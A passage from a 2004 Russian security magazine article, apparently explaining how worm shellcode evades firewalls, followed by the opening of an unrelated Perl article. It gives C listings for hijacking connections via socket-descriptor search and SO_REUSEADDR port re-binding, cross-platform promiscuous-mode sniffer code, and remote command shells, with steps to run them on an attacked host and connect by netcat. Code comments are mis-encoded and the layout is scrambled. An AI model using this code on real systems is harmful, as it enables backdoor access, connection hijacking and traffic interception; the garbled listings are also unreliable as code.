// øàã 2: ïîëó÷àåì àäðåñ, ñâÿçàííûé ñ äàííûì äåñêðèïòîðîì // (êîíå÷íî, ïðè óñëîâèè, ÷òî ñ íèì âîîáùå ÷òî-òî ñâÿçíî) if (getpeername((SOCKET) a, (struct sockaddr*) &faddr, ↵ (int *) buff) != -1) { // øàã 3: èäåíòèôèöèðóåì ñâîå TCP/IP-ñîåäèíåíèå // ïî ñâîåìó ïîðòó if (htons(faddr.sin_port) == HACKERS_PORT) sshell((SOCKET) a, MAX_BUF_SIZE); }

мет, ну а кто не программировал, просто не в состоянии представить, чего он избежал). Если говорить коротко: делать bind на уже открытый порт может только владелец этого порта (т.е. процесс, открывший данный порт, или один из его потомков, унаследовавших дескриптор соответствующего сокета), да и то лишь при том условии, что сокет не имеет флага эксклюзивности (SO_EXCLUSIVEADDRUSE). Тогда, создав новый сокет и вызвав функцию setsockopt, присваивающую ему атрибут SO_REUSEADDR, shell-код сможет сделать bind и listen, после чего все последующие подключения к атакованному серверу будут обрабатываться уже не самим сервером, а зловредным shell-кодом!

// øàã 4: ïîä÷èùàåì çà ñîáîé ñëåäû closesocket(fsocket);

Откомпилировав демонстрационный пример find.c, запустите его на атакуемом узле, а на узле атакующего наберите: netcat "àäðåñ àòàêóåìîãî" 666

Убедитесь, что никакие, даже самые жесткие и недемократические настройки брандмауэра не препятствуют нормальной жизнедеятельности червя. Внимательнейшим образом изучите все логи – вы не видите в них ничего подозрительного? Вот! Я тоже не вижу. И хотя IP-адрес атакующего в них исправно присутствует, он ничем не выделяется среди сотен тысяч адресов остальных пользователей и разоблачить хакера может лишь просмотром содержимого всех TCP/IP-пакетов. Пакеты, отправленные злоумышленником, будут содержать shell-код, который легко распознать на глаз. Однако, учитывая, что каждую секунду сервер перемолачивает не один мегабайт информации, просмотреть все пакеты становится просто нереально, а автоматизированный поиск требует вирусной сигнатуры, которой на латентной стадии эпидемии еще ни у кого нет.

reuse exploit, или молчание брандмауэра II Допустим, разработчики операционных систем исправят свой грубый ляп с дескрипторами сокетов, равномерно рассеяв их по всему 32-битному пространству, что сделает лобовой перебор довольно неэффективным, особенно если в функции getpeername будет встроен детектор такого перебора, реагирующий в случае подозрения на атаку все возрастающим замедлением. И что тогда? А ничего! Опытные хакеры (и грамотно спроектированные черви) перейдут к плану «Б», насильно делая re-bind уже открытому порту. Возможность повторного использования адресов – это вполне легальная возможность, и предусмотрена она не случайно. В противном случае проектирование разветвленных сетевых приложений с сильно развитой иерархической структурой оказалось бы чрезвычайно затруднено (кто программировал собственные серверы, тот пой-

№5(18), май 2004

Ðèñóíîê 7. Àòàêóþùèé çàñûëàåò íà óÿçâèìûé ñåðâåð shell-êîä, êîòîðûé äåëàåò re-bind íà îòêðûòûé ïóáëè÷íûé ïîðò è ïåðåõâàòûâàåò âñå ïîñëåäóþùèå ñîåäèíåíèÿ (è ñîåäèíåíèÿ, óñòàíàâëèâàåìûå àòàêóþùèì â òîì ÷èñëå)

Программная реализация данной атаки вполне тривиальна и отличается от эксплоита bind.c одной-единственной строкой: setsockopt(rsocket, SOL_SOCKET, SO_REUSEADDR, ↵ &n_reuse, sizeof(n_reuse))

присваивающей сокету атрибут SO_REUSEADDR. Однако вместо открытия порта с нестандартным номером данный код захватывает основной порт уязвимой службы, не вызывая никаких претензий у брандмауэра. Ëèñòèíã 4. Êëþ÷åâîé ôðàãìåíò shell-êîäà, îñóùåñòâëÿþùèé re-bind îòêðûòîãî ïîðòà // øàã 1: ñîçäàåì ñîêåò if ((rsocket = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1; // øàã 2: ïðèñâàèâàåì àòðèáóò SO_REUSEADDR if (setsockopt(rsocket, SOL_SOCKET , SO_REUSEADDR , ↵ &n_reuse, 4)) return -1; // øàã 3: ñâÿçûâàåì ñîêåò ñ ëîêàëüíûì àäðåñîì raddr.sin_family = AF_INET; raddr.sin_port = htons(V_PORT); // óÿçâèìûé ïîðò raddr.sin_addr.s_addr = INADDR_ANY; if (bind(rsocket,(struct sockaddr *) &raddr, ↵ sizeof(raddr))) return -1; // // // // // if

øàã 4: ñëóøàåì ïðè ïîñëåäóþùèõ ïîäêëþ÷åíèÿõ ê óÿçâèìîìó ïîðòó, óïðàâëåíèå ïîëó÷èò shell-êîä, à íå êîä ñåðâåðà è ýòîò ïîðò áóäåò îáÿçàòåëüíî îòêðûò íà firewall, ïîñêîëüêó ýòî ïîðò «ëåãàëüíîé» ñåòåâîé ñëóæáû! (listen(rsocket, 0x1)) return -1;

// øàã 5: èçâëåêàåì ñîîáùåíèå èç î÷åðåäè csocket = accept(rsocket, (struct sockaddr *) ↵ &raddr, &raddr_size); // øàã 6: îáìåíèâàåìñÿ êîìàíäàìè ñ ñîêåòîì sshell((SOCKET) csocket, MAX_BUF_SIZE); // øàã 7 - ïîä÷èùàåì çà ñîáîé ñëåäû closesocket(rsocket); closesocket(csocket);

71


безопасность Откомпилировав демонстрационный пример reuse.c, запустите его на атакуемом узле, а на узле атакующего выполните следующую команду:

Против этого приема не существует никаких адекватных контрмер противодействий, и единственное, что можно порекомендовать, – это избегать использования уязвимых приложений вообще.

netcat "àäðåñ àòàêóåìîãî" 80

соответствующую стадии засылки shell-кода на уязвимый сервер. Затем повторите попытку подключения вновь и, если все пройдет успешно, на экране терминала появится уже знакомое приглашение командного интерпретатора, подтверждающее, что подключение обработано отнюдь не прежним владельцем порта, а головой червя или shell-кодом. Убедитесь, что брандмауэр, независимо от его конфигурации, не видит в этой ситуации ничего странного и никак не препятствует несанкционированному захвату подключений. (Замечание: под Windows 2000 SP3 этот прием иногда не срабатывает – система, нахально проигнорировав захват порта, продолжает обрабатывать входящие подключения его прежним владельцем. Как ведут себя остальные системы, не знаю, не проверял, однако это явная ошибка и она должна быть исправлена в следующих версиях. В любом случае, если такое произошло, повторяйте засылку shell-кода вновь и вновь – до тех пор, пока вам не повезет).

fork exploit, или брандмауэр продолжает молчать Атрибут эксклюзивности не присваивается сокетам по умолчанию, и о его существовании догадываются далеко не все разработчики серверных приложений, однако, если под натиском червей уязвимые серверы начнут сыпаться один за другим, разработчики могут пересмотреть свое отношение к безопасности и воспрепятствовать несанкционированному захвату открытых портов. Наступят ли после этого для червей мрачные времена? Да как бы не так! Голова червя просто прибьет уязвимый процесс вместе со всеми его дескрипторами (при закрытии процесса все открытые им порты автоматически освобождаются), перебрасывая свое тело в новый процесс, после чего червь сделает bind только что открытому порту, получая в свое распоряжение все входящие соединения. В UNIX-системах есть замечательный системный вызов fork, расщепляющий текущий процесс и автоматически раздваивающий червя. В Windows 9x/NT осуществить такую операцию намного сложнее, однако все же не так сложно, как это кажется на первый взгляд. Один из возможных способов реализации выглядит приблизительно так: сначала вызывается функция CreateProcess с установленным флагом CREATE_SUSPENDED (создание процесса с его немедленным «усыплением»), затем из процесса выдирается текущий контекст (это осуществляется вызовом функции GetThreadContext) и значение регистра EIP устанавливается на начало блока памяти, выделенного функцией VirtualAllocEx. Вызов SetThreadContext обновляет содержимое контекста, а функция WriteProcessMemory внедряет в адресное пространство процесса shell-код, после чего процесс пробуждается, разбуженный функцией ResumeThread, и shell-код начинает свое выполнение.

72

Ðèñóíîê 8. Àòàêóþùèé çàñûëàåò íà óÿçâèìûé ñåðâåð shell-êîä, ïðèáèâàþùèé ñåðâåðíûé ïðîöåññ è îòêðûâàþùèé ïóáëè÷íûé ïîðò çàíîâî

sniffer exploit, или пассивное сканирование При желании червь может перехватывать весь трафик, проходящий через уязвимый узел, а не только тот, что адресован атакованному сервису. Такое пассивное прослушивание чрезвычайно трудно обнаружить, и из всех рассмотренных нами способов обхода брандмауэров этот обеспечивает червю наивысшую скрытность. По сети путешествует огромное количество снифферов для UNIX, в большинство своем распространяемых в исходных текстах и неплохо прокомментированных. Наиболее универсальный способ прослушивания трафика апеллирует к кросс-платформенной библиотеке libcap, портированной в том числе и под Windows 95/98/ME/NT/ 2000/XP/CE (на сайте http://winpcap.polito.it/install/default.htm можно найти и сам порт библиотеки, и tcpdump для Windows – очень рекомендую). Если же на атакованном компьютере этой библиотеки нет (а червь не может позволить себе роскошь тащить ее за собой), мы будем действовать так: открываем сокет в сыром режиме, связываем его с прослушиваемым интерфейсом, переводим последний в «неразборчивый» (promiscuous) режим, в котором сокет будет получать все проходящие мимо него пакеты, и… собственно, читаем их в свое удовольствие. В различных операционных системах этот механизм реализуется по-разному. В Linux, начиная с версии 2.2, появились поддержка пакетных сокетов, предназначенных для взаимодействия с сетью на уровне драйверов и создаваемых вызовом: socket (PF_PACKET, int type, int protocol)

где type может принимать значения SOCK_RAW («сырой» сокет) или SOCK_DGRAM («сухой» сокет с удаленными служебными заголовками). Вызов: ifr.ifr_flags |= IFF_PROMISC; ioctl (s, SIOCGIFFLAGS, ifr)

активирует неразборчивый режим, где ifr – интерфейс, к которому сокет был привязан сразу после его создания (подробнее об этом можно прочитать в статье В. Мешкова «Анализатор сетевого трафика», опубликованной в октябрьском номере журнала «Системный администратор» за 2002 год).


безопасность Под BSD можно открыть устройство «/dev/bpf» и после его перевода в неразборчивый режим: ioctl(fd, BIOCPROMISC, 0)

слушать пролетающий мимо узла трафик. В Solaris все осуществляется аналогично, только IOCTL-коды немного другие, и устройство называется не bpf, а hme. Аналогичным образом ведет себя и SUN OS, где для достижения желаемого результата приходится отрывать устройство nit. Короче говоря, эта тема выжата досуха и никому уже не интересна. Замечательное руководство по программированию снифферов (правда, на французском языке) можно найти на http://www.security-labs.org/index.php3?page=135, а на http://packetstormsecurity.org/sniffers/ выложено множество разнообразных «грабителей» трафика в исходных текстах. Наконец, по адресам http://athena.vvsu.ru/infonets/Docs/ sniffer.txt и http://cvalka.net/read.php?file=32&dir=programming вас ждет пара толковых статей о снифферах на русском языке. Словом, на недостаток информации жаловаться не приходится. Правда, остается неявным – как примерить весь этот зоопарк и удержать в голове специфические особенности каждой из операционных систем? Подавляющее большинство статей, с которыми мне приходилось встречаться, описывали лишь одну, ну максимум две операционные системы, совершенно игнорируя существование остальных. Приходилось открывать несколько статей, одновременно и попеременно мотаться между ними на предмет выяснения: а под Linux это как? А под BSD? А под Solaris? От этого в голове образовывался такой кавардак, что от прочитанного материала не оставалось и следа, а компилируемый код содержал огромное количество фатальных ошибок, даже и не пытаясь компилироваться. Чтобы не мучить читателя сводными таблицами (от которых больше вреда, чем пользы), ниже приводится вполне работоспособная функция абстракции, подготавливающая сокет (дескриптор устройства) к работе и поддерживающая большое количество различных операционных систем, как то: SUN OS, Lunux, FreeBSD, IRIX и Solaris. Полный исходный текст сниффера можно стащить отсюда: http://packetstormsecurity.org/sniffers/gdd13.c. Ëèñòèíã 5. Ñîçäàíèå ñûðîãî ñîêåòà (äåñêðèïòîðà) è ïåðåâîä åãî â íåðàçáîð÷èâûé ðåæèì /*======================================================== Ethernet Packet Sniffer 'GreedyDog' Version 1.30 The Shadow Penguin Security (http://shadowpenguin.backsection.net) Written by UNYUN (unewn4th@usa.net) #ifdef SUNOS4 /*--------< SUN OS4 >-----------*/ #define NIT_DEV "/dev/nit" */ #define DEFAULT_NIC "le0" */ #define CHUNKSIZE 4096 */ #endif #ifdef LINUX /*--------< LINUX >-------------*/ #define NIT_DEV "" #define DEFAULT_NIC "eth0" */ #define CHUNKSIZE 32000 */ #endif #ifdef FREEBSD /*--------< FreeBSD >-----------*/ #define NIT_DEV "/dev/bpf" */ #define DEFAULT_NIC "ed0" */

№5(18), май 2004

#define #endif

CHUNKSIZE

32000

*/

#ifdef IRIX /*-----------< IRIX >--------------*/ #define NIT_DEV "" #define DEFAULT_NIC "" #define CHUNKSIZE 60000 */ #define ETHERHDRPAD RAW_HDRPAD(sizeof(struct ↵ ether_header)) #endif #ifdef SOLARIS /*--------< Solaris >-----------*/ #define NIT_DEV "/dev/hme" */ #define DEFAULT_NIC "" #define CHUNKSIZE 32768 */ #endif #define #define #define #define

S_DEBUG SIZE_OF_ETHHDR LOGFILE TMPLOG_DIR

struct conn_list{ struct conn_list char unsigned long };

14 "./snif.log" "/tmp/"

*/ */ */ */

*next_p; sourceIP[16],destIP[16]; sourcePort,destPort;

struct conn_list *cl; struct conn_list *org_cl; #ifdef SOLARIS int strgetmsg(fd, ctlp, flagsp, caller) int fd; struct strbuf *ctlp; int *flagsp; char *caller; { int rc; static char errmsg[80];

} #endif

*flagsp = 0; if ((rc=getmsg(fd,ctlp,NULL,flagsp))<0) return(-2); if (alarm(0)<0) return(-3); if ((rc&(MORECTL|MOREDATA))==(MORECTL|MOREDATA)) ↵ return(-4); if (rc&MORECTL) return(-5); if (rc&MOREDATA) return(-6); if (ctlp->len<sizeof(long)) return(-7); return(0);

int setnic_promisc(nit_dev,nic_name) char *nit_dev; char *nic_name; { int sock; struct ifreq f; #ifdef SUNOS4 struct strioctl si; struct timeval timeout; u_int chunksize = CHUNKSIZE; u_long if_flags = NI_PROMISC; if ((sock = open(nit_dev, O_RDONLY)) < 0) return(-1); if (ioctl(sock, I_SRDOPT, (char *)RMSGD) < 0) return(-2); si.ic_timout = INFTIM; if (ioctl(sock, I_PUSH, "nbuf") < 0) return(-3); timeout.tv_sec = 1; timeout.tv_usec = 0; ↵ si.ic_cmd = NIOCSTIME; si.ic_len = sizeof(timeout); si.ic_dp = (char *)&timeout; if (ioctl(sock, I_STR, (char *)&si) < 0) return(-4); si.ic_cmd = NIOCSCHUNK; si.ic_len = sizeof(chunksize); si.ic_dp = (char *)&chunksize; if (ioctl(sock, I_STR, (char *)&si) < 0) return(-5); strncpy(f.ifr_name, nic_name, sizeof(f.ifr_name)); f.ifr_name[sizeof(f.ifr_name) - 1] = '\0'; ↵ si.ic_cmd = NIOCBIND; si.ic_len = sizeof(f); si.ic_dp = (char *)&f; if (ioctl(sock, I_STR, (char *)&si) < 0) return(-6); si.ic_cmd = NIOCSFLAGS; si.ic_len = sizeof(if_flags); si.ic_dp = (char *)&if_flags; if (ioctl(sock, I_STR, (char *)&si) < 0) return(-7); if (ioctl(sock, I_FLUSH, (char *)FLUSHR) < 0) return(-8); #endif #ifdef LINUX

73


безопасность if ((sock=socket(AF_INET,SOCK_PACKET,768))<0) return(-1); strcpy(f.ifr_name, nic_name); ↵ if (ioctl(sock,SIOCGIFFLAGS,&f)<0) return(-2); f.ifr_flags |= IFF_PROMISC; ↵ if (ioctl(sock,SIOCSIFFLAGS,&f)<0) return(-3); #endif #ifdef FREEBSD char device[12]; int n=0; struct bpf_version bv; ↵ unsigned int size; do{ sprintf(device,"%s%d",nit_dev,n++); ↵ sock=open(device,O_RDONLY); } while(sock<0 && errno==EBUSY); if(ioctl(sock,BIOCVERSION,(char *)&bv)<0) return(-2); if((bv.bv_major!=BPF_MAJOR_VERSION)|| ↵ (bv.bv_minor<BPF_MINOR_VERSION))return(-3); strncpy(f.ifr_name,nic_name,sizeof(f.ifr_name)); if(ioctl(sock,BIOCSETIF,(char *)&f)<0) return(-4); ioctl(sock,BIOCPROMISC,NULL);if(ioctl(sock,BIOCGBLEN, ↵ (char *)&size)<0) return(-5); #endif #ifdef IRIX struct sockaddr_raw sr; struct snoopfilter sf; int size=CHUNKSIZE,on=1; char *interface; if((sock=socket(PF_RAW,SOCK_RAW,RAWPROTO_SNOOP))<0) ↵ return(-1); sr.sr_family = AF_RAW; sr.sr_port = 0; if (!(interface=(char *)getenv("interface"))) memset(sr.sr_ifname,0,sizeof(sr.sr_ifname)); else strncpy(sr.sr_ifname,interface,sizeof(sr.sr_ifname)); if(bind(sock,&sr,sizeof(sr))<0) return(-2); ↵ memset((char *)&sf,0,sizeof(sf)); if(ioctl(sock,SIOCADDSNOOP,&sf)<0) return(-3); setsockopt(sock,SOL_SOCKET,SO_RCVBUF, ↵ (char *)&size,sizeof(size)); if(ioctl(sock,SIOCSNOOPING,&on)<0) return(-4); #endif #ifdef SOLARIS long buf[CHUNKSIZE]; dl_attach_req_t ar; ↵ dl_promiscon_req_t pr; struct strioctl si; union DL_primitives *dp; ↵ dl_bind_req_t bind_req; struct strbuf c; int flags; if ((sock=open(nit_dev,2))<0) return(-1); ar.dl_primitive=DL_ATTACH_REQ; ar.dl_ppa=0; c.maxlen=0; c.len=sizeof(dl_attach_req_t); c.buf=(char *)&ar; if (putmsg(sock,&c,NULL,0)<0) return(-2); c.maxlen=CHUNKSIZE; c.len=0; c.buf=(void *)buf; strgetmsg(sock,&c,&flags,"dlokack"); ↵ dp=(union DL_primitives *)c.buf; if (dp->dl_primitive != DL_OK_ACK) return(-3);

WSAIoctl(raw_socket, SIO_RCVALL, &optval, ↵ sizeof(optval), 0,0,&N,0,0))

где optval – переменная типа DWORD с единицей внутри, а N – количество возвращенных функцией байт. Впервые исходный текст такого сниффера был опубликован в шестом номере журнала 29A, затем его передрал Z0mnie, переложивший ассемблерный код на интернациональный программистский язык Си++ (странно, а почему не Си?) и унаследовавший все ляпы оригинала. Ниже приведен его ключевой фрагмент с моими комментариями, а полный исходный текст содержится в файле sniffer.с. Другой источник вдохновения – демонстрационный пример IPHDRINC, входящий в состав Platform SDK 2000. Рекомендую. Ëèñòèíã 6. Êëþ÷åâîé ôðàãìåíò êîäà ïàêåòíîãî sniffer ïîä Windows 2000/XP

pr.dl_primitive=DL_PROMISCON_REQ; ↵ pr.dl_level=DL_PROMISC_PHYS; c.maxlen = 0; c.len=sizeof(dl_promiscon_req_t); c.buf=(char *)≺ if (putmsg(sock,&c,NULL,0)<0) return(-4);

// Ñîçäàåì ñûðîé ñîêåò //-------------------------------------------------------if ((raw_socket = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) == ↵ -1) return -1;

c.maxlen=CHUNKSIZE; c.len=0; c.buf=(void *)buf; strgetmsg(sock,&c,&flags,"dlokack"); ↵ dp=(union DL_primitives *)c.buf; if (dp->dl_primitive != DL_OK_ACK) return(-5);

// // // // // // // // //

Âîò òóò íåêîòîðûå ðóêîâîäñòâà óòâåðæäàþò, ÷òî ñûðîìó ñîêåòó íàäî äàòü àòðèáóò IP_HDRINCL. Äàòü-òî, êîíå÷íî, ìîæíî, íî âåäü ìîæíî è íå äàâàòü! Ôëàã IP_HDRINCL ñîîáùàåò ñèñòåìå, ÷òî àïïëåò õî÷åò ñàì ôîðìèðîâàòü IP-çàãîëîâîê îòïðàâëÿåìûõ ïàêåòîâ, à ïðèíÿòûå ïàêåòû åìó îòäàþòñÿ ñ IP-çàãîëîâêîì â ëþáîì ñëó÷àå. Ïîäðîáíîñòè â PlatformSDK → TCP/IP Raw Sockets if (setsockopt(raw_socket, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(optval))== -1)…

// // // // if

Ïåðå÷èñëÿåì âñå èíòåðôåéñû (ò.å. IP-àäðåñà âñåõ øëþçîâ, ÷òî åñòü íà êîìïüþòåðå. Ïðè ppp-ïîäëþê÷åíèè ê Èíòåðíåòó îáû÷íî èìååòñÿ âñåãî îäèí IP-àäðåñ, íàçíà÷åííûé DHCP-ñåðâåðîì ïðîâàéäåðà, îäíàêî â ëîêàëüíîé ñåòè ýòî íå òàê ((zzz = WSAIoctl(raw_socket, SIO_ADDRESS_LIST_QUERY, ↵ 0, 0, addrlist, sizeof(addrlist), &N, 0, 0)) == ↵ SOCKET_ERROR) return -1;

bind_req.dl_primitive=DL_BIND_REQ; bind_req.dl_sap=0x800; bind_req.dl_max_conind=0; bind_req.dl_service_mode=DL_CLDLS; bind_req.dl_conn_mgmt=0; bind_req.dl_xidtest_flg=0; ↵ c.maxlen=0; c.len=sizeof(dl_bind_req_t); c.buf=(char *)&bind_req; if (putmsg(sock,&c,NULL,0)<0) return(-6); c.maxlen=CHUNKSIZE; c.len=0; c.buf=(void *)buf; strgetmsg(sock,&c,&flags,"dlbindack"); ↵ dp=(union DL_primitives *)c.buf; if (dp->dl_primitive != DL_BIND_ACK) return(-7); si.ic_cmd=DLIOCRAW; si.ic_timout=-1; si.ic_len=0; ↵ si.ic_dp=NULL; if (ioctl(sock, I_STR, &si)<0) return(-8); if (ioctl(sock,I_FLUSH,FLUSHR)<0) return(-9); #endif return(sock); }

74

Совсем иная ситуация складывается с Windows NT. Пакетных сокетов она не поддерживает, с сетевым драйвером напрямую работать не позволяет. Точнее, позволяет, но с очень большими предосторожностями и не без плясок с бубном (если нет бубна, на худой конец сойдет и обыкновенный оцинкованный таз, подробное изложение ритуала можно найти у Коберниченко в «Недокументированных возможностях Windows NT»). И хотя пакетных снифферов под NT существует огромное количество (один из которых даже входит в DDK), все они требуют обязательной установки специального драйвера, т.к. корректная работа с транспортом в NT возможна только на уровне ядра. Может ли червь притащить с собой такой драйвер и динамически загрузить его в систему? Ну, вообщето может, только это будет крайне громоздкое и неэлегантное решение. В Windows 2000/XP все гораздо проще. Там достаточно создать сырой сокет (в Windows 2000/XP наконец-то появилась поддержка сырых сокетов!), поместить его на прослушиваемый интерфейс и, сделав сокету bind, перевести последний в неразборчивый режим, сказав:

… // Òåïåðü ìû äîëæíû ñäåëàòü bind íà âñå èíòåðôåéñû, âûäåëèâ // êàæäûé â ñâîé ïîòîê (âñå ñîêåòû – áëîêèðóåìûå), îäíàêî, // â äàííîì äåìîíñòðàöèîííîì ïðèìåðå ñëóøàåòñÿ ëèøü IP ïåðâîãî // ïîïàâøåãîñÿ ïîä ðóêó èíòåðôåéñà addr.sin_family = AF_INET; addr.sin_addr = ((struct sockaddr_in*) ↵ llist->Address[0].lpSockaddr)->sin_addr;


безопасность if (bind(raw_socket, (struct sockaddr*) ↵ &addr, sizeof(addr))==SOCKET_ERROR) return -1; #define SIO_RCVALL

0x98000001

// cîîáùàåì ñèñòåìå, ÷òî ìû õîòèì ïîëó÷àòü âñå ïàêåòû, // ïðîõîäÿùèå ìèìî íåå if (zzz=WSAIoctl(raw_socket,SIO_RCVALL,&optval, ↵ sizeof(optval),0,0,&N,0,0)) return –1; // ïîëó÷àåì âñå ïàêåòû, ïðèõîäÿùèå íà äàííûé èíòåðôåéñ while(1) { if ((len = recv(raw_socket, buf, sizeof(buf), 0)) < 1) ↵ return -1; … }

Откомпилировав sniffer.c, запустите его на атакуемом узле с правами администратора и отправьте с узла атакующего несколько TCP/UDP-пакетов, которые пропускает firewall. Смотрите, червь исправно вылавливает их! Причем никаких открытых портов на атакуемом компьютере не добавляется и факт перехвата не фиксируется ни мониторами, ни локальными брандмауэрами. Для разоблачения пассивных слушателей были разработаны специальные методы (краткое описание которых можно найти, например, здесь: http://www.robertgraham.com/ pubs/sniffing-faq.html), однако практической пользы от них никакой, т.к. все они ориентированы на борьбу с длительным прослушиванием, а червю для осуществления атаки требуется не больше нескольких секунд!

В простейшем случае shell реализуется приблизительно так: Ëèñòèíã 7. Êëþ÷åâîé ôðàãìåíò ïðîñòåéøåãî óäàëåííîãî shell // Ìîòàåì öèêë, ïðèíèìàÿ ñ ñîêåòà êîìàíäû, ïîêà åñòü ÷òî ïðèíèìàòü while(1) { // ïðèíèìàåì î÷åðåäíóþ ïîðöèþ äàííûõ a = recv(csocket, &buf[p], MAX_BUF_SIZE - p - 1, 0); // åñëè ñîåäèíåíèå íåîæèäàííî çàêðûëîñü, âûõîäèì èç öèêëà if (a < 1) break; // óâåëè÷èâàåì ñ÷åò÷èê êîëè÷åñòâà ïðèíÿòûõ ñèìâîëîâ // è âíåäðÿåì íà êîíåö ñòðîêè çàâåðøàþùèé íîëü p += a; buf[p] = 0; // ñòðîêà ñîäåðæèò ñèìâîë ïåðåíîñà ñòðîêè? if ((ch = strpbrk(buf, xEOL)) != 0) { // äà, ñîäåðæèò // îòñåêàåì ñèìâîë ïåðåíîñà è î÷èùàåì ñ÷åò÷èê *ch = 0; p = 0;

{

}

}

// åñëè ñòðîêà íå ïóñòà, ïåðåäàåì åå // êîìàíäíîìó èíòåðïðåòàòîðó íà âûïîëíåíèå if (strlen(buf))

sprintf(cmd, "%s%s", SHELL, buf); ↵ exec(cmd); } else break; // åñëè ýòî ïóñòàÿ ñòðîêà – âûõîäèì

Полноценный shell

Организация удаленного shell в UNIX и NT Потребность в удаленном shell испытывают не только хакеры, но и сами администраторы. Знаете, как неохота бывает в дождливый день тащиться через весь город только затем, чтобы прикрутить фитилек «коптящего» NT-сервера, на ходу стряхивая с себя остатки сна, да собственно даже не сна, а тех его жалких урывков, в которые в изнеможении погружаешься прямо за монитором… В UNIX-подобных операционных системах shell есть от рождения, а вот в NT его приходится реализовывать самостоятельно. Как это можно сделать? По сети ходит совершенно чудовищный код, перенаправляющий весь ввод/вывод порожденного процесса в дескрипторы non-overlappingсокетов. Считается, что раз уж non-overlapping-сокеты во многих отношениях ведут себя так же, как и обычные файловые манипуляторы, операционная система не заменит обмана, и командный интерпретатор будет работать с удаленным терминалом так же, как и с локальной консолью. Может быть (хотя это и крайне маловероятно), в какой-то из версий Windows такой прием и работает, однако на всех современных системах порожденный процесс попросту не знает, что ему с дескрипторами сокетов собственно делать, и весь ввод/вывод проваливается в тартарары…

Слепой shell Если разобраться, то для реализации удаленной атаки полноценный shell совсем необязателен, и на первых порах можно ограничиться «слепой» передачей команд штатного командного интерпретатора (естественно, с возможностью удаленного запуска различных утилит, и в частности утилиты calcs, обеспечивающей управление таблицами управления доступа к файлам).

№5(18), май 2004

Для комфортного администрирования удаленной системы (равно как и атаки на нее) возможностей «слепого» shell более чем недостаточно, и неудивительно, если у вас возникнет желание хоть чуточку его улучшить, достигнув «прозрачного» взаимодействия с терминалом. И это действительно можно сделать! В этом нам помогут каналы (они же «пайпы» – от английского pipe). Каналы, в отличие от сокетов, вполне корректно подключаются к дескрипторам ввода/вывода, и порожденный процесс работает с ними точно так же, как и со стандартным локальным терминалом, за тем исключением, что вызовы WriteConsole никогда не перенаправляются в пайм и потому удаленный терминал может работать далеко не со всеми консольными приложениями. Корректно написанный shell требует создания как минимум двух пайпов – один будет обслуживать стандартный ввод, соответствующий дескриптору hStdInput, другой – стандартный вывод, соответствующий дескрипторам hStdOutput и hStdError. Дескрипторы самих пайпов обязательно должны быть наследуемыми, в противном случае порожденный процесс просто не сможет до них «дотянуться». А как сделать их наследуемыми? Да очень просто – всего лишь взвести флаг bInheritHandle в состояние TRUE, передавая его функции CreatePipe вместе со структурой LPSECURITY_ATTRIBUTES, инициализированной вполне естественным образом. Остается подготовить структуру STARTUPINFO, сопоставив дескрипторы стандартного ввода/вывода наследуемым каналам, и ни в коем случае не забыть взвести флаг STARTF_USESTDHANDLES, иначе факт переназначения стандартных дескрипторов будет наглым образом проигнорирован.

75


безопасность Однако это еще не все, и самое интересное нас ждет впереди! Для связывания каналов с сокетом удаленного терминала нам потребуется реализовать специальный резидентный диспетчер, считывающий поступающие данные и перенаправляющий их в сокет или канал. Вся сложность в том, что проверка наличия данных в сокете (канале) должна быть неблокируемой, в противном случае нам потребуются два диспетчера, каждый из которых будет выполняться в «своем» потоке, что, согласитесь, громоздко, некрасиво и неэлегантно. Обратившись к Platform SDK, мы найдем две полезные функции: PeerkNamePipe и ioctlsocket. Первая отвечает за неблокируемое измерение «глубины» канала, а вторая обслуживает сокеты. Теперь диспетчеризация ввода/вывода становится тривиальной. Ëèñòèíã 8. Êëþ÷åâîé ôðàãìåíò ïîëíîöåííîãî óäàëåííîãî shell âìåñòå ñ äèñïåò÷åðîì ââîäà/âûâîäà sa.lpSecurityDescriptor sa.nLength sa.bInheritHandle // if // if

= NULL; = sizeof(SECURITY_ATTRIBUTES); = TRUE; // allow inheritable // handles

create stdin pipe (!CreatePipe(&cstdin, &wstdin, &sa, 0)) create stdout pipe (!CreatePipe(&rstdout, &cstdout, &sa, 0))

return -1; return -1;

// cset startupinfo for the spawned process GetStartupInfo(&si); si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; si.hStdOutput = cstdout; si.hStdError = cstdout; // set the new handles for // the child process si.hStdInput = cstdin; //spawn the child process if (!CreateProcess(0, SHELL, 0, 0, TRUE, ↵ CREATE_NEW_CONSOLE, 0,0,&si,&pi)) return -1;

76

while(GetExitCodeProcess(pi.hProcess,&fexit) && ↵ (fexit == STILL_ACTIVE)) { // check to see if there is any data to read from stdout if (PeekNamedPipe(rstdout, buf, 1, &N, &total, 0) && N) { for (a = 0; a < total; a += MAX_BUF_SIZE) { ReadFile(rstdout, buf, MAX_BUF_SIZE, &N, 0); send(csocket, buf, N, 0); } }

}

if (!ioctlsocket(csocket, FIONREAD , &N) && N) { recv(csocket, buf, 1, 0); if (*buf == '\x0A') WriteFile(wstdin, "\x0D", ↵ 1, &N, 0); WriteFile(wstdin, buf, 1, &N, 0); } Sleep(1);

Откомпилировав любой из предлагаемых файлов (как то: bind.c, reverse.c, find.c или reuse.c), вы получите вполне комфортный shell, обеспечивающий прозрачное управление удаленной системой. Только не пытайтесь запускать на нем FAR – все равно ничего хорошего из этой затеи не выйдет! Другая проблема: при внезапном разрыве соединения, порожденные процессы так и останутся болтаться в памяти, удерживая унаследованные сокеты и препятствуя их повторному использованию. Если это произойдет, вызовите «Диспетчер Задач» и прибейте всех «зобми» вручную. Разумеется, эту операцию можно осуществить и удаленно, воспользовавшись консольной утилитой типа kill. Также не помешает оснастить вашу версию shell процедурой авторизации, в противном случае в систему могут проникнуть незваные гости, но это уже выходит за пределы темы этой статьи.



программирование

УТЕЧКИ ПАМЯТИ В ПРОГРАММАХ НА PERL

Все программисты знают, сколько неприятностей могут доставить утечки памяти, как сложно бывает локализовать и устранить их причины. И любой, кто работал с Perl, смог по достоинству оценить систему сборки мусора, которой оснащён интерпретатор этого языка. Она автоматически заботится об удалении данных, которые больше не понадобятся, и защищает таким образом от утечек памяти. У программиста может появиться некая иллюзия неограниченной мощи этого механизма. Но так ли он всемогущ?

АЛЕКСЕЙ МИЧУРИН 78


